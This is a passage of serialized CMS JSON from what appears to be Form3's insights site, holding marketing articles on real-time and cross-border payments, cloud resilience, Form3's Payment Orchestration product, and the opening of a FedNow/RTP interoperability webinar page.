inefficient.",[],"rich_text$38ca5422-f835-487c-9340-875cabb52e7a",{"variation":437,"version":438,"items":5241,"primary":5242,"id":5250,"slice_type":468,"slice_label":5},[],{"body":5243},[5244,5247],{"type":988,"text":5245,"spans":5246,"direction":445},"Prepare your teams for real-time payments implementation",[],{"type":25,"text":5248,"spans":5249,"direction":445},"Implementing real-time payments also requires a shift in mindset among operations, client service, and implementation teams. Ensuring these teams understand the differences between real-time payments and traditional wire transfers, as well as the need for 24\u002F7 support, is critical for successful implementation and adoption.",[],"rich_text$430cb077-70cf-43ac-8791-640516a98d2d",{"variation":437,"version":438,"items":5252,"primary":5253,"id":5261,"slice_type":468,"slice_label":5},[],{"body":5254},[5255,5258],{"type":988,"text":5256,"spans":5257,"direction":445},"US banks are considering jumping straight into send and receive functionality",[],{"type":25,"text":5259,"spans":5260,"direction":445},"Miriam, a banking professional, notes that with the upcoming launch of FedNow, many US banks are considering implementing both send and receive functionality right away. This is in contrast to the cautious approach taken in the past, where banks would start with receive-only functionality. The US has not mandated the adoption of real-time payments, but this could change as more banks embrace the technology.",[],"rich_text$0cec776b-e543-4f96-b556-52f763098f8f",{"variation":437,"version":438,"items":5263,"primary":5264,"id":5272,"slice_type":468,"slice_label":5},[],{"body":5265},[5266,5269],{"type":988,"text":5267,"spans":5268,"direction":445},"UK Faster Payments mandated both send and receive functionality from the start",[],{"type":25,"text":5270,"spans":5271,"direction":445},"In contrast to the US, the UK Faster Payments scheme required banks to adopt both send and receive functionality from the outset. This has resulted in 99.9% of bank accounts being reachable through the Faster Payments scheme, ensuring a more equitable and accessible system for all.",[],"rich_text$a19816f0-2c0d-4f3a-a02a-53f27035f255",{"variation":437,"version":438,"items":5274,"primary":5275,"id":5283,"slice_type":468,"slice_label":5},[],{"body":5276},[5277,5280],{"type":988,"text":5278,"spans":5279,"direction":445},"Request for Pay is still in its infancy",[],{"type":25,"text":5281,"spans":5282,"direction":445},"Both the UK and US have introduced Request for Pay schemes, offering potential benefits and use cases for consumers and businesses. However, adoption has been slow, with many banks taking a \"wait and see\" approach to determine if the service will be useful for their customers.",[],"rich_text$2637c52c-b308-4880-a4a5-21377748fb67",{"variation":437,"version":438,"items":5285,"primary":5286,"id":5293,"slice_type":468,"slice_label":5},[],{"body":5287},[5288,5290],{"type":988,"text":4445,"spans":5289,"direction":445},[],{"type":25,"text":5291,"spans":5292,"direction":445},"The move to real-time payments presents significant challenges and opportunities for banks and financial institutions. Technology, infrastructure, reporting, resiliency, and team preparation are all crucial factors for success. As the industry continues to evolve, the experiences shared by professionals in the UK and US can serve as valuable lessons for banks looking to implement real-time payments and enhance their offerings to customers.",[],"rich_text$ab4bbf72-a4f5-4180-ad59-96b100560e91","UK Faster Payments: A Model for US banks? | Form3 Insights","Discover the key challenges and opportunities of implementing real-time payments with lessons learnt from Faster Payments in the UK. Learn more at Form3 Insights",{"id":5297,"uid":5298,"type":3743,"data":5299},"alzzmhEAACgAUWPa","leverage-the-power-of-international-payments",{"title":5300,"excerpt":5301,"card_image":5302,"published_date":5305,"reading_time":5,"tag":3751,"dek":5301,"featured_image":5306,"about_form3":5307,"client_about_heading":5,"client_about_body":5308,"author_name":5,"author_title":5,"author_photo":5309,"author_bio":5310,"author_linkedin":5311,"slices":5312,"meta_title":5519,"meta_description":5520},"Capitalising on opportunities for international payments","Improving access to international payments has been high on the agenda for governments, central banks and financial institutions for a number of years. As financial services become embedded within an increasingly digital economy, the pressure to build and provide resilient access to fast, secure and affordable international payments has soared.",{"dimensions":5303,"alt":413,"copyright":5,"url":414,"id":415,"edit":5304},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2023-01-18",{},[],[],{},[],{"link_type":434},[5313,5339,5374,5413,5440,5472],{"variation":437,"version":438,"items":5314,"primary":5315,"id":5338,"slice_type":468,"slice_label":5},[],{"body":5316},[5317,5324,5332,5335],{"type":25,"text":5318,"spans":5319},"The sector is experiencing monumental growth. McKinsey’s 2021 Global Payments Report predicts that by 2025 we will be seeing global payments revenue hit roughly $2.5 trillion – a significant increase on 2020’s $1.9 trillion.",[5320],{"start":1029,"end":5321,"type":489,"data":5322},84,{"link_type":491,"url":5323},"https:\u002F\u002Fwww.mckinsey.com\u002Findustries\u002Ffinancial-services\u002Four-insights\u002Fthe-2021-mckinsey-global-payments-report",{"type":25,"text":5325,"spans":5326},"Citing four key areas of speed, transparency, access, and cost, the Financial Stability Board’s G20 Roadmap for Enhancing Cross-Border Payments underscores the fundamental need for the private and public sector to come together to improve cross-border payments.",[5327],{"start":5328,"end":5329,"type":489,"data":5330},96,143,{"link_type":491,"url":5331},"https:\u002F\u002Fwww.fsb.org\u002Fwp-content\u002Fuploads\u002FP131021-1.pdf",{"type":25,"text":5333,"spans":5334},"Such ongoing coordinated efforts across the globe to improve international payments highlight a significant opportunity for younger, more agile digital banks, payment service providers and fintechs to carve out a piece of this highly competitive, tightly held industry. Regulated change also signals supervisors’ receptiveness to new market entrants, opening the door to companies which are unencumbered by legacy technology and can allow their innovative products and services to drive evolution across the industry – winning market share all the while.",[],{"type":25,"text":5336,"spans":5337},"To make the most of this rare and significant opportunity, firms must ensure their offering is ready and equipped to cater to the technical, regulatory and market-driven pressures to set themselves apart from incumbents, and stake their claim of this booming global ecosystem. ",[],"rich_text$1994c6c1-cb10-4344-8396-4eaffe36329d",{"variation":437,"version":438,"items":5340,"primary":5341,"id":5373,"slice_type":468,"slice_label":5},[],{"body":5342},[5343,5346,5349,5352,5355,5358,5364,5367,5370],{"type":988,"text":5344,"spans":5345,"direction":445},"Why international payments must become as seamless as domestic payments",[],{"type":25,"text":5347,"spans":5348,"direction":445},"In order to understand how we can best go about improving international payments, it is important to highlight the principles which currently allow real-time domestic systems to run without downtime on a 24\u002F7\u002F365 model. By adopting some of these foundational principles, international payments will be better placed to evolve to a state which is more aligned with the expectations of today’s financial services sector, as they mirror core features of domestic instant payments.",[],{"type":25,"text":5350,"spans":5351,"direction":445},"Migrating to cloud-based systems is a key element of any such evolution, with multi-cloud options giving financial institutions the ability to achieve a truly ‘active active active’ calibre of operation. Rather than adopting a single cloud strategy or relying on disaster recovery sites which would require significant downtime in order to make updates across the system, the availability of multi-cloud solutions ensures that banks aren’t put at a disadvantage when upgrading or maintaining their services. This is particularly vital when running microservices architecture where banks are afforded the ability to leverage more real-time processing.   ",[],{"type":25,"text":5353,"spans":5354,"direction":445},"Beyond reduction or elimination of downtime, cloud offers a plethora of other advantages which will be explored later on.",[],{"type":25,"text":5356,"spans":5357,"direction":445},"Extrapolating the differences between international and domestic payments can then be examined with respect to clearing and settlement systems, and how we go about shaping a more deeply connected landscape across borders. By lobbying in favour of 24\u002F7 RTGS systems and overcoming the challenge of exercised control in a given jurisdiction by a central bank, we hope to see an operating model that allows for instant clearing and settlement.",[],{"type":25,"text":5359,"spans":5360,"direction":445},"A clear example where such progress has been made, can be seen with the announcement that EBA Clearing, Swift and The Clearing House (TCH) will launch the Immediate Cross Border Payments (IXB) pilot to leverage the existing real-time payment systems in the United States, (run by TCH), and RT1 in Europe, (run by EBA CLEARING).  The corridor will process live transactions in both US dollar and Euro in the coming months, providing the highly anticipated linkage of these two domestic payment systems with cross-border legs.",[5361],{"start":1797,"end":5321,"type":489,"data":5362},{"link_type":491,"url":5363,"target":493},"https:\u002F\u002Fwww.finextra.com\u002Fpressarticle\u002F94338\u002Feba-clearing-swift-and-tch-to-pilot-faster-cross-border-payments-between-europe-and-the-us#:~:text=The%20IXB%20pilot%20service%20will,corridor%20in%20the%20coming%20months.",{"type":25,"text":5365,"spans":5366,"direction":445},"The ability to utilise payments originated overseas and execute clearing in real-time domestic systems would revolutionise financial services, which has long laboured under outdated correspondent banking models, which are increasingly unsuitable for the demands of international banking and the movement of money.",[],{"type":25,"text":5368,"spans":5369,"direction":445},"Under such infrastructure, lower value cross border payments will also be able be cleared in real time.",[],{"type":25,"text":5371,"spans":5372,"direction":445},"While there is a significant amount of remaining work in order to get to 24\u002F7\u002F365 real-time cross-border processing, there are some good steps underway. The migration toward the common data language of ISO 20022 for instance, will open the door for system interoperability – an essential quality that must be achieved for seamless international payments.",[],"rich_text$a62c2d31-12e7-4656-87f5-b0338f3eb64d",{"variation":437,"version":438,"items":5375,"primary":5376,"id":5412,"slice_type":468,"slice_label":5},[],{"body":5377},[5378,5381,5384,5387,5390,5393,5400,5403,5406,5409],{"type":988,"text":5379,"spans":5380,"direction":445},"Understanding the key forces driving change in international payments",[],{"type":25,"text":5382,"spans":5383,"direction":445},"We are currently experiencing what can only be described as a ‘perfect storm’ of forces, working to propel international payments to the top of the financial services agenda.",[],{"type":25,"text":5385,"spans":5386,"direction":445},"First, as consumers are given greater access and tailored services in their everyday lives, the push to bring this same level of innovation into the corporate space is becoming increasingly apparent. Corporate treasurers, for instance, face the frustrating reality of experiencing real-time services in their personal lives, yet, have to endure the reality of slow, clunky payments in their line of work.",[],{"type":25,"text":5388,"spans":5389,"direction":445},"Covid-19 lit a fire under an already highly digital and highly demanding Gen Z and younger generations, which no longer accept anything but instant. They can do this thanks to a highly competitive market that allows them to switch to superior (and faster) providers.",[],{"type":25,"text":5391,"spans":5392,"direction":445},"Underscoring the pressures of customer expectation, international supervisory and regulatory bodies are more regularly acknowledging the shift toward global expectations, and the ways in which international connectivity must be improved to avoid fragmentation and nurture progress. The G20 and Financial Stability Board’s work on the subject is a frequently cited example. It’s 2021 Roadmap for cross-border payments states that not only is the enhancement of cross-border payments a priority, but that there is a need to coordinate on regulatory, supervisory and oversight frameworks.",[],{"type":25,"text":5394,"spans":5395,"direction":445},"This push from regulators can also be seen by recent news that the European Commission is preparing rules to require eurozone banks to offer instant payments in euros, in efforts to develop “competitive home-grown and pan-European market-based payments solutions.”",[5396],{"start":2397,"end":5397,"type":489,"data":5398},86,{"link_type":491,"url":5399,"target":493},"https:\u002F\u002Fwww.finextra.com\u002Fnewsarticle\u002F41196\u002Feu-preps-rule-for-mandatory-instant-payments-in-euros",{"type":25,"text":5401,"spans":5402,"direction":445},"Migration toward the data rich ISO 20022 messaging standard represents another vast transition for the industry, which is being played out across both domestic and international services. By 2025 the high value payment systems of all major reserve currencies will have moved to ISO 20022. At a high level, ISO 20022 will improve customer experience, improve AML and compliance, bring more efficiency and harmonising the payments ecosystem, will work to encourage the creation of new services.",[],{"type":25,"text":5404,"spans":5405,"direction":445},"In addition to these pressures, liquidity management remains a core driver toward innovation for banks seeking to optimise their operations. Currently, banks are forced to park significant sums of capital in nostro accounts to cover the cost of international transactions. This is both because of the slow pace at which these transactions take, and the lack of traceability around them.",[],{"type":25,"text":5407,"spans":5408,"direction":445},"Moving toward a model with predictable forecasting around future needs, allows banks to better prepare themselves by optimising that held capital. It is also less onerous for banks to hold and park capital.",[],{"type":25,"text":5410,"spans":5411,"direction":445},"This combination of factors is resulting in the opening up of a once tightly controlled industry that was sluggish and resistant to change. Innovation is being pushed to the fore, allowing the industry to flourish and find invigoration through new operating models and positive competitive pressures.",[],"rich_text$4eabe4da-2104-4b60-a52e-9a6f3be2a680",{"variation":437,"version":438,"items":5414,"primary":5415,"id":5439,"slice_type":468,"slice_label":5},[],{"body":5416},[5417,5420,5423,5426,5429,5432,5435],{"type":988,"text":5418,"spans":5419,"direction":445},"How resilient instant payments help to tackle AML and security",[],{"type":25,"text":5421,"spans":5422,"direction":445},"The way banks and other financial institutions are approaching the de-risking of certain entity types has diverged into two key categories; actual risk and perceived risk.",[],{"type":25,"text":5424,"spans":5425,"direction":445},"Where a bank is processing funds which are deemed to be high risk, typically with emerging economies, it must consider whether it has sufficient KYC processes and controls in place to ensure their network is protected. They must also consider whether they can segregate funds which are going to high risk countries.",[],{"type":25,"text":5427,"spans":5428,"direction":445},"In such situations correspondent banks assess whether the risk of providing the service outweighs the revenue and its viability. This cost implication presents a continued challenge for smaller institutions, as it can result in increased segregation and financial exclusion from specific markets, pushing these communities further into unsecure, unregulated networks (like crypto for instance).",[],{"type":25,"text":5430,"spans":5431,"direction":445},"This is where smaller institutions also face the challenge of reducing or removing the perceived risk that they may not be as safe or secure as large banks – which have been working in the space for decades.",[],{"type":25,"text":5433,"spans":5434,"direction":445},"Conversely, this also means that the sector has the opportunity to develop innovative financial crime solutions which help financial institutions demonstrate that they are adhering to the highest level of standards available. Such a scenario may in fact present a particularly attractive option for smaller institutions, as their technology agility makes for a less complex integration.",[],{"type":25,"text":5436,"spans":5437,"direction":445},"We need to consider how we can collaborate with firms to build-in pre-integrated solutions that are both best of breed and help these communities remain bankable.",[5438],{"start":4178,"end":5102,"type":765},"rich_text$97a978c7-be50-4c93-aa6d-741cb4cb2586",{"variation":437,"version":438,"items":5441,"primary":5442,"id":5471,"slice_type":468,"slice_label":5},[],{"body":5443},[5444,5447,5450,5453,5456,5459,5462,5465,5468],{"type":988,"text":5445,"spans":5446,"direction":445},"The hurdles in the way of improving international payments",[],{"type":25,"text":5448,"spans":5449,"direction":445},"Accessing international payments can be challenging due to a suite of challenges faced by incumbents as they try to compete with digitally native or transformed firms for a highly demanding market.  ",[],{"type":25,"text":5451,"spans":5452,"direction":445},"Building a correspondent network to give customers the ability to process multiple currencies through nostro relationships is a hugely valuable and increasingly indispensable asset for financial institutions. However, this network based capability requires many accounts to be held at many institutions, coming in at a high cost.",[],{"type":25,"text":5454,"spans":5455,"direction":445},"This lack or reduction in access to liquidity presents a particularly acute challenge for smaller institutions, like neo and challenger banks, which operate on extremely tight margins and rely on liquid capital for operational costs.",[],{"type":25,"text":5457,"spans":5458,"direction":445},"Legacy technology also remains a significant impediment for progress around improving international payments. As core engines for these institutions were likely installed decades ago and are deeply embedded, they are ensconced in layers of connective technology from across the years. Most new technologies are cloud-native APIs which often do not integrate efficiently with the core engine. As a result, banks add wrappers and band aids around the outdated system to connect new features.",[],{"type":25,"text":5460,"spans":5461,"direction":445},"When a core banking system or process requires updating, the entire infrastructure has to come down, and any change can impact a whole raft of other applications across the bank. This presents both a challenge and an opportunity for agile technology delivery, to migrate to cloud native core banking systems, reengineer or re-platform those core systems to enable a seamless future delivery.",[],{"type":25,"text":5463,"spans":5464,"direction":445},"While smaller, more agile players can hold the upper hand to pivot and take advantage of progress, they must also meet stringent security and compliance requirements that are resource heavy and costly.",[],{"type":25,"text":5466,"spans":5467,"direction":445},"Traditional forms of file security, such as secure file transfer protocol (SFTP), are no longer viewed as secure as certain approaches to API-based security. When considering the transfer of information files over a given network, files-at-rest attract a greater risk profile than in-transit API messages. It is more difficult intercept files in transit, and even if an in-transit API call was intercepted, it should be encrypted and unable to be read.",[],{"type":25,"text":5469,"spans":5470,"direction":445},"Agile players have the ability to leverage new compliance focused technologies which serves to both showcase adherence and give comfort to banks.",[],"rich_text$6f5dbb68-1905-4192-ab3a-2d1ea57c4959",{"variation":437,"version":438,"items":5473,"primary":5474,"id":5518,"slice_type":468,"slice_label":5},[],{"body":5475},[5476,5479,5482,5485,5493,5500,5503,5506,5509,5512,5515],{"type":988,"text":5477,"spans":5478,"direction":445},"The role of cloud in capitalising on the changing international payment landscape",[],{"type":25,"text":5480,"spans":5481,"direction":445},"While just four or five years ago, central banks and other regulatory bodies were not comfortable with their view of the risk profile of cloud, today, we’re seeing a greater level of awareness around what cloud can deliver and the resilience they engender.",[],{"type":25,"text":5483,"spans":5484,"direction":445},"Cloud undeniably offers a huge benefit for firms, by reducing barriers to access, building resiliency, and offering scale to financial institutions, without having to completely re-architect in the short-to-medium term. This reduces costs to firms and allows flexibility to pivot as new opportunities arise in the market. In fact, recent research from GFT found that 81% of bankers adopted cloud technology to cut costs tied to data storage.",[],{"type":25,"text":5486,"spans":5487,"direction":445},"The Bank of England published a discussion paper in July, setting out how supervisory authorities in the UK could use proposed powers to assess and strengthen the resilience of services provided by ‘critical third parties’ – cloud service providers (CSPs) would fall into this category. The Paper explains that firms are becoming increasingly dependent on certain third parties such as CSPs for the delivery of functions and services that are vital to the stability to and confidence in the UK financial system.",[5488],{"start":5489,"end":5490,"type":489,"data":5491},32,48,{"link_type":491,"url":5492,"target":493},"https:\u002F\u002Fwww.bankofengland.co.uk\u002Fprudential-regulation\u002Fpublication\u002F2022\u002Fjuly\u002Foperational-resilience-critical-third-parties-uk-financial-sector",{"type":25,"text":5494,"spans":5495,"direction":445},"The Financial Stability Institute of the Bank for International Settlements (BIS) further explains: “Growing reliance by a large number of financial institutions on technology services provided by a small number of big techs makes the continuity of those services systemically relevant. This dependency is forming single points of failure, and hence creating new forms of concentration risk at the technology services level. This type of concentration risk is particularly evident in the cloud services market, where four big techs control close to two thirds of the global market for cloud computing. Because there are no readily available substitutes or infrastructures for these services, a disruption in one of these big techs could have systemic implications for the financial system.”",[5496],{"start":5497,"end":2237,"type":489,"data":5498},90,{"link_type":491,"url":5499,"target":493},"https:\u002F\u002Fwww.bis.org\u002Ffsi\u002Fpubl\u002Finsights44.pdf",{"type":25,"text":5501,"spans":5502,"direction":445},"While initial concern around cloud usage has significantly reduced, questions around resilience and the operational risk that comes with migrating off-prem persists. While its very unlikely that an AWS or an Azure would lose all of its availability zones, it’s a scenario that central banks are examining. Multi-cloud strategy, in addition to agnostic tooling, allows financial institutions to have certainty and control over the resilience of their failover plans.",[],{"type":25,"text":5504,"spans":5505,"direction":445},"Banks would no doubt be able to build a data centre quite cheaply, but it does not afford them the resiliency that comes with multi-cloud functionality.",[],{"type":25,"text":5507,"spans":5508,"direction":445},"Cloud offers global scaling without requiring physical presence in every jurisdiction. While there are some caveats to this expansion, for the most part it allows institutions to pick their markets and scale based on a number of factors beyond market size. Therefore, working with providers that understand the jurisdiction and have the local resource to grow the physical footprint is a significant benefit.",[],{"type":25,"text":5510,"spans":5511,"direction":445},"Despite these monumental industry updates, trends, and pressures, technology providers are providing increasingly sophisticated and customisable solutions which help institutions meet these challenges head on.",[],{"type":25,"text":5513,"spans":5514,"direction":445},"A shift in preference away from managing a portfolio of technology providers toward selecting and working with fewer, more holistic and well-resourced providers, underscores the desire of financial institutions to refine and streamline their offering. This reduces challenges around third party management, security frameworks and commercial dynamics. Banks are also more inclined to work more closely with fewer providers as they can collaborate more intimately and better shape products to suit their own needs.",[],{"type":25,"text":5516,"spans":5517,"direction":445},"Providers which can deliver managed services, microservice architectures and remove the burden of responsibility from the bank will be those that succeed in these partnerships. This is especially the case with fintech, where relationships are reciprocal and collaborative. Financial institutions which recognise the opportunity that this collaboration can bring, will be better equipped to deal with ongoing and future pressures that will inevitably shape the payments landscape in the coming years.",[],"rich_text$39171623-cdc4-4e76-ac6f-ae2f4f347f89","opportunities for cross border payments innovation","Discover how new technologies such as API and cloud platforms are revolutionising the world of cross border payments in our latest article.",{"id":5522,"uid":5523,"type":3743,"data":5524},"alzzexEAACwAUWOO","taking-the-pain-out-of-payments-change",{"title":5525,"excerpt":5526,"card_image":5527,"published_date":5530,"reading_time":418,"tag":3751,"dek":5526,"featured_image":5531,"about_form3":5532,"client_about_heading":5,"client_about_body":5533,"author_name":5,"author_title":5,"author_photo":5534,"author_bio":5535,"author_linkedin":5536,"slices":5537,"meta_title":5675,"meta_description":5676},"Taking the pain out of payments change","Changing payment workflows is widely seen as a costly and time-consuming exercise for Financial Institutions (FIs). However, a flexible new solution being developed by Form3 will make it quicker, easier and more cost effective for customers to change their payment workflows.",{"dimensions":5528,"alt":413,"copyright":5,"url":414,"id":415,"edit":5529},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2023-03-16",{},[],[],{},[],{"link_type":434},[5538,5552,5590,5607,5627,5647,5661],{"variation":437,"version":438,"items":5539,"primary":5540,"id":5551,"slice_type":468,"slice_label":5},[],{"body":5541},[5542,5545,5548],{"type":988,"text":5543,"spans":5544,"direction":445},"Making changes to the payments estate is not for the faint hearted.",[],{"type":25,"text":5546,"spans":5547,"direction":445},"For FIs looking to change their payment workflow or technology stack – an exercise that can be triggered by everything from regulatory requirements to M&A – the cost, complexity and time involved in the exercise can be daunting. Legacy stacks often make it harder for financial institutions to deliver transformation, create new products, and compete in an increasingly crowded market. ",[],{"type":25,"text":5549,"spans":5550,"direction":445},"So why is payments change so painful? And how can a new solution being developed by Form3 take the pain out of payments change? Let’s take a closer look.  ",[],"rich_text$1d075f2b-927f-474e-9656-bf200cff36f3",{"variation":437,"version":438,"items":5553,"primary":5554,"id":5589,"slice_type":468,"slice_label":5},[],{"body":5555},[5556,5559,5562,5566,5570,5575,5579],{"type":988,"text":5557,"spans":5558,"direction":445},"Why change payment flows?",[],{"type":25,"text":5560,"spans":5561,"direction":445},"FIs may need to make changes to their payment estates for a number of reasons:  ",[],{"type":1151,"text":5563,"spans":5564,"direction":445},"New payments proposition or workflow change. FIs may be setting out to create a new payments proposition, or changing the way that an existing payment flow works with different types of customers.   ",[5565],{"start":398,"end":5136,"type":593},{"type":1151,"text":5567,"spans":5568,"direction":445},"Regulatory compliance. FIs may need to update their payment estates in response to regulatory change, for example – the upcoming New Payments Architecture in the UK or SEPA's new instant payments mandate in Europe.",[5569],{"start":398,"end":703,"type":593},{"type":1151,"text":5571,"spans":5572,"direction":445},"Technology transformation. FIs moving towards more efficient, future proofed technologies will need to make changes to their payments technology estate.  ",[5573],{"start":398,"end":5574,"type":593},26,{"type":1151,"text":5576,"spans":5577,"direction":445},"M&A activity. When FIs acquire another FI or a fintech, they will typically need to combine their technologies and propositions with those of the acquired firm, resulting in a raft of changes.   ",[5578],{"start":398,"end":2707,"type":593},{"type":25,"text":5580,"spans":5581,"direction":445},"These changes are vital if FIs are to remain competitive in a rapidly evolving landscape. Research by IDC found that 73% of financial institutions have payment infrastructures that are ill equipped to handle payments for 2030 and beyond. Likewise, a 2022 report by Capgemini, Winning with SMBs: Optimizing Technology and Data to Drive Deep Engagement, found that a reliance on outdated systems is stifling digital transformation. According to the report, “More than 80% of payment executives agree that significant retooling is needed to integrate and interoperate new technologies with platforms of varying ages and formats.”  ",[5582,5585],{"start":5497,"end":3092,"type":489,"data":5583},{"link_type":491,"url":5584,"target":493},"https:\u002F\u002Fpages.episodesix.com\u002Fidc-infobrief",{"start":1802,"end":5586,"type":489,"data":5587},350,{"link_type":491,"url":5588,"target":493},"https:\u002F\u002Fworldpaymentsreport.com\u002F","rich_text$c92457fb-2f0f-47e7-9162-878f2190eabe",{"variation":437,"version":438,"items":5591,"primary":5592,"id":5606,"slice_type":468,"slice_label":5},[],{"body":5593},[5594,5597,5600,5603],{"type":988,"text":5595,"spans":5596,"direction":445},"Counting the cost of change",[],{"type":25,"text":5598,"spans":5599,"direction":445},"Whatever the catalyst, it’s clear there are many reasons why FIs may need to make changes to their payments estate – and the cost of doing so can be significant due to legacy infrastructure, multiple systems and integration points. ",[],{"type":25,"text":5601,"spans":5602,"direction":445},"In practice, FIs do not always have the capacity to prioritise innovation spending, particularly given the growing cost of regulatory compliance. The Capgemini report, for example, found that only 26% of the payment executives polled ranked innovation IT spending as their top priority. The survey also noted that much of FIs innovation budget is spent on the front-end, rather than on middle and back-office systems.  ",[],{"type":25,"text":5604,"spans":5605,"direction":445},"Changes to the payment estate can also be time-consuming to complete, in terms of development and testing – and this, in turn, can affect a FIs time-to-market when it comes to launching new propositions. ",[],"rich_text$f8457056-de89-4238-b7ed-f297d2c90490",{"variation":437,"version":438,"items":5608,"primary":5609,"id":5626,"slice_type":468,"slice_label":5},[],{"body":5610},[5611,5614,5617,5620,5623],{"type":988,"text":5612,"spans":5613,"direction":445},"From payment hubs to Payment Orchestration",[],{"type":25,"text":5615,"spans":5616,"direction":445},"There’s a clear need to speed up the implementation time and reduce the costs involved in changing payments workflows. Other players in the market have attempted to address this problem by creating payment hubs – effectively a giant engine that aims to solve every problem and process simultaneously. This type of solution is often complex, bespoke, and changes have to be implemented across multiple integration points.  ",[],{"type":25,"text":5618,"spans":5619,"direction":445},"Fortunately, there’s another way to approach this challenge. Payment Orchestration is a new product being developed by Form3. The solution sits outside of a FIs existing technology estate and connects with it using an integration layer. It can also work alongside a payment hub.   ",[],{"type":25,"text":5621,"spans":5622,"direction":445},"Form3 manages changes to payment workflows on the FIs behalf, with the FIs payment related systems connected to an integration layer, based on the FIs configuration and guidance. In this way, we can support FIs whenever they wish to make propositional or payment technology changes. Other benefits of the solution include end-to-end visibility over payments, full observability of reporting to aid monitoring and alerting on the performance of workflows, and a faster time-to-market.   ",[],{"type":25,"text":5624,"spans":5625,"direction":445},"For example, a FI might want to carry out a funds check for every outgoing payment and carry out a secondary approval check based on certain liquidity thresholds with specific accounts. The required configurations and thresholds will also need to change over time depending on market conditions. With Payment Orchestration, the FI would be able to change its configurations, without the need for Form3 to manually validate those changes.  ",[],"rich_text$04525a04-e653-4b79-bb3a-c8efa5cd9d7f",{"variation":437,"version":438,"items":5628,"primary":5629,"id":5646,"slice_type":468,"slice_label":5},[],{"body":5630},[5631,5634,5640,5643],{"type":988,"text":5632,"spans":5633,"direction":445},"Overcoming the barriers to change",[],{"type":25,"text":5635,"spans":5636,"direction":445},"Collaboration with suitable partners is an important ingredient when it comes to creating innovative new solutions. In PwC’s Payments 2025 & Beyond survey, for example, 86% of respondents agreed that traditional payments providers will collaborate with FinTech’s and technology providers as one of their main sources of innovation.  ",[5637],{"start":4178,"end":4522,"type":489,"data":5638},{"link_type":491,"url":5639,"target":493},"https:\u002F\u002Fwww.pwc.com\u002Fgx\u002Fen\u002Findustries\u002Ffinancial-services\u002Fpublications\u002Ffinancial-services-in-2025\u002Fpayments-in-2025.html",{"type":25,"text":5641,"spans":5642,"direction":445},"For FIs that have historically developed a lot of technology in-house, with full control over payments, it might seem counterintuitive to consider relinquishing some of their control over the payments estate.   ",[],{"type":25,"text":5644,"spans":5645,"direction":445},"However, Form3’s solution offers configurability so FIs can maintain control over how their payment workflows are managed. The difference is, we can provide the technology needed to help them manage that change. By taking advantage of a single connection point and integration layer, FIs can tap into all the usual benefits offered by Form3. These include a cloud native, scalable, and fully managed service, that makes full use of API & microservices-based technology.  ",[],"rich_text$d2ca856a-821c-455a-b35d-c052228fe2e9",{"variation":437,"version":438,"items":5648,"primary":5649,"id":5660,"slice_type":468,"slice_label":5},[],{"body":5650},[5651,5654,5657],{"type":988,"text":5652,"spans":5653,"direction":445},"Payment Orchestration in practice",[],{"type":25,"text":5655,"spans":5656,"direction":445},"Some of Form3’s customers are already tapping into the benefits of Payment Orchestration across a variety of use cases. One customer, for example, was looking to make ledger updates to its ledger system, based on different outcomes for different payment types and customer segments. Using Payment Orchestration, Form3 connected to the customers ledger system via an interface layer. The customer’s ledgers were thereby able to access payment transaction data and status updates based on payment workflow and outcome, in accordance with the configuration they had specified.  ",[],{"type":25,"text":5658,"spans":5659,"direction":445},"This enabled the customer to speed up its transformation programme, while reducing the interface points within its own technology estate. The customer has also gained the ability to configure when ledger updates take place, based on payment flows and outcomes, and enact changes more rapidly at a lower cost. ",[],"rich_text$965d41d9-4b7e-41ae-b048-6caf9c077a6f",{"variation":437,"version":438,"items":5662,"primary":5663,"id":5674,"slice_type":468,"slice_label":5},[],{"body":5664},[5665,5668,5671],{"type":988,"text":5666,"spans":5667,"direction":445},"Driving down the cost and complexity of change",[],{"type":25,"text":5669,"spans":5670,"direction":445},"To conclude, payments change is essential for FIs as they seek to compete effectively in today’s landscape. ",[],{"type":25,"text":5672,"spans":5673,"direction":445},"We believe this change doesn’t need to be painful. By providing the technology needed to interface with the FIs payment related systems, Form3 can help FIs speed up implementation while offering a competitive SaaS pricing structure – all while giving configurability over their payment flows.  ",[],"rich_text$0b6bf7f5-307f-4efc-9dab-8eda9e7e7f15","Taking the pain out of payment change.","Discover how payment orchestration from Form3 can support your payment modernisation journey, and how this new approach is shaping a new chapter in payment workflows.",{"id":5678,"uid":5679,"type":3743,"data":5680},"alzzoxEAAC4AUWPz","faster-payments-and-real-time-payments",{"title":5681,"excerpt":5682,"card_image":5683,"published_date":5686,"reading_time":4603,"tag":3751,"dek":5,"featured_image":5687,"about_form3":5688,"client_about_heading":5,"client_about_body":5689,"author_name":5,"author_title":5,"author_photo":5690,"author_bio":5691,"author_linkedin":5692,"slices":5693,"meta_title":5801,"meta_description":5802},"Webinar: The Next Step for Faster Payments - Interoperability","There's a major obstacle that needs to be overcome if the US is to become a fully inclusive real time payment environment: interoperability. While RTP and FedNow both promise to modernize the way money moves and allow for greater use of instant payments, interoperability between the two — or a lack of it — will be a major factor dictating whether or not real-time payments gain traction in the US, and how fast the adoption occurs.",{"dimensions":5684,"alt":413,"copyright":5,"url":414,"id":415,"edit":5685},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2022-12-12",{},[],[],{},[],{"link_type":434},[5694,5712,5726,5740,5754,5774],{"variation":437,"version":438,"items":5695,"primary":5696,"id":5711,"slice_type":468,"slice_label":5},[],{"body":5697},[5698,5705,5708],{"type":25,"text":5699,"spans":5700},"With the Federal Reserve planning to make the new FedNow Service available to depository institutions somewhere between May and July of 2023, the US is set to move into a new age of real time payments next year.",[5701],{"start":5702,"end":5703,"type":489,"data":5704},120,140,{"link_type":491,"url":4075},{"type":25,"text":5706,"spans":5707},"But there’s a major obstacle that needs to be overcome if the US is to become a fully inclusive real time payment environment: interoperability. While RTP and FedNow both promise to modernize the way money moves and allow for greater use of instant payments, interoperability between the two — or a lack of it — will be a major factor dictating whether or not real-time payments gain traction in the US, and how fast the adoption occurs.",[],{"type":25,"text":5709,"spans":5710},"As part of our webinar series, we take a closer look at the issue of interoperability in real time payments. Watch our webinar on demand: The next step for faster payments: Interoperability. ",[],"rich_text$81548e56-dbf5-467e-bfd4-5a49cc6d0a31",{"variation":437,"version":438,"items":5713,"primary":5714,"id":5725,"slice_type":468,"slice_label":5},[],{"body":5715},[5716,5719,5722],{"type":988,"text":5717,"spans":5718,"direction":445},"The importance of interoperability",[],{"type":25,"text":5720,"spans":5721,"direction":445},"Imagine 